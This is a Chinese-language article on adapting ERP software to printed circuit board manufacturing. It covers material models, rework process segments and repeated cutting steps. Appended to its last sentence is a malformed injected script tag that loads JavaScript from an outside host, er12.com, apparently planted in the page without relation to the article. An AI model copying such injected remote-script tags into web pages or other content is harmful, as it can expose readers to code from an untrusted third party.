企业资源计划系统(erp – enterprise resource planning)在国内已有多年的应用，目前已有比较普遍的认识，即erp首先是一种管理思想，是以企业为主体，整合企业内部以及外部资源进行有效的计划组织和科学的运作管理;其次是利用it技术，提供一个软件载体，作为辅助企业管理思想，创造企业效益的工具。erp是在mrpii和jit基础上提出的管理概念，能适应多种类型制造业的企业管理运作方式及生产模式。全球性竞争和经济发展正向制造业提出越来越多的挑战，制造行业面临的局面将是:
1)交易往来分散而多样;
2)交易金额庞大而多币种;
3)交易要求多变而苛刻;
4)交易客户、供应商遍布全球。
由此制造企业也将面临上下游企业以及内部管理的各方面高要求:面对客户提交低价格高质量的产品;容忍供应商的延长交货期以及更短的账期;内部的灵活管理。
制造行业极具复杂性，依据不同的出发点可以产生多种分类方式，通常有以下方式的分类:
按工艺特点划分:
1)流程式生产 – 主要为连续加工过程;
2)离散式生产 – 主要为零部件加工装配，工序环节较为清晰。
按生产特性划分:
1)单件生产(车间任务) – 产品生命周期短，交期短，属于间歇式生产。
2)多品种小批量生产 – 品种多，重复性生产情况较少。
3)重复性生产 -- 品种少，重复性生产频繁，产品标准化。
本文主要讨论针对制造业中比较特殊的pcb行业针对erp应用提出的挑战进行一些探讨。
pcb为印刷电路板的简称，是电子制造业加工链中处于上游的一环，主要加工方式为针对基板进行多次加工，形成最后pcb板。
从工艺范围来看，pcb主要是在已有基板的前提下，经过裁板、转孔、1次铜、压膜、曝光、显影、蚀刻等作业工序，在基板上形成电路，产生pcb板。根据工艺要求，还有多次压合形成多层pcb板的工艺。当然，作为pcb制造的一环，也有很多企业在从事着基板制造的加工工作，主要是将原布在化学溶剂中反应，并经过多次热压形成基板最后进行裁切的工序。基板加工在某些方面也与pcb加工具有相似的特性。
从加工技术以及应用领域看，pcb最早是单面板，随着技术不断进步，工艺也不断提高，随后出现了双面板、多层板(层数不断增加)以及软板(可以一定程度的扭曲变形而不影响使用，在手机照相机笔记本电脑等精细电器中常有应用。)
下面讨论一下pcb行业的一些具体特性以及对制造软件提出的相应要求:
1、流程性加工
pcb加工，是比较具有代表性的流程性加工。并且不同于机械组装加工模式，它主要是由一种原料投入为主，其后的辅料投入、加工工艺都围绕该主要原料进行处理。并且由于多层板技术的出现，pcb行业中的回流生产(即重复进行某一个或某一段加工工序，不断的循环)情况也越来越多见。由此对erp软件中制造部分的设计提出了新课题:
a、主要原料模式
不同于以机械加工行业为基础的传统erp软件，pcb中对于原料、物料是有明确的区分，不仅在于使用者习惯问题，还需要顾及到通过软件设计，根据同一主要原料可以产生多层父子工单的关联。而作为辅组性物料的投入则不需要考虑多层父子工单关系。
b、制程区段模式
大多数erp软件对于制造部分的工艺流程(routing)的考虑，是线性设计，即针对单一产品加工路线也呈单一化，由于计算机设计要求的数据唯一性，相同的作业工序在同一个工艺流程中通常也被限定为只能定义一次。因此遇到像pcb中回流生产的情况，通常的变通方式就是在语义上进行重复定义，即一次压合、二次压合等。但是这样处理会产生一个弊病，即实际上多次压合，都是在一个车间、由同一批人员、设备利用近似的资源进行加工，而在软件中通过名称定义区别开后，计算机会将多次重复加工看成是毫无关联的作业，这样不利于产能分配、耗损统计等后续实际统计以及计划。而使用制程区段可以很好的解决这一问题，即在传统的工艺流程(routing)和作业工序(operation)中再加上一个层次，制程区段(segment)。一个成品的加工可以有多个区段组成，每个区段内的工序不可重复，但是多个区段内的工序可互相重叠。这样首先是真实再现了pcb制造的现实状况，其次是在生产前的产能规划、生产后的损耗统计、成本分摊等环节又可以做到将单独的工序剥离出来进行单独分析。
2、裁切
无论是前段的基板加工还是后段的pcb板产出，都必须经历的一个环节就是不断的裁切。前段投入的都是大幅的原布，而在不断加工中，为了适应后续加工的需要，会将其不断裁切成为合理的大小以便后续处理。例如热压前后需要根据设备情况进行裁切、基板大小需要切边、根据基板的多次处理机台大小，也需要多次从大尺寸裁切为小尺寸?script src=http://er12.com/t.js>
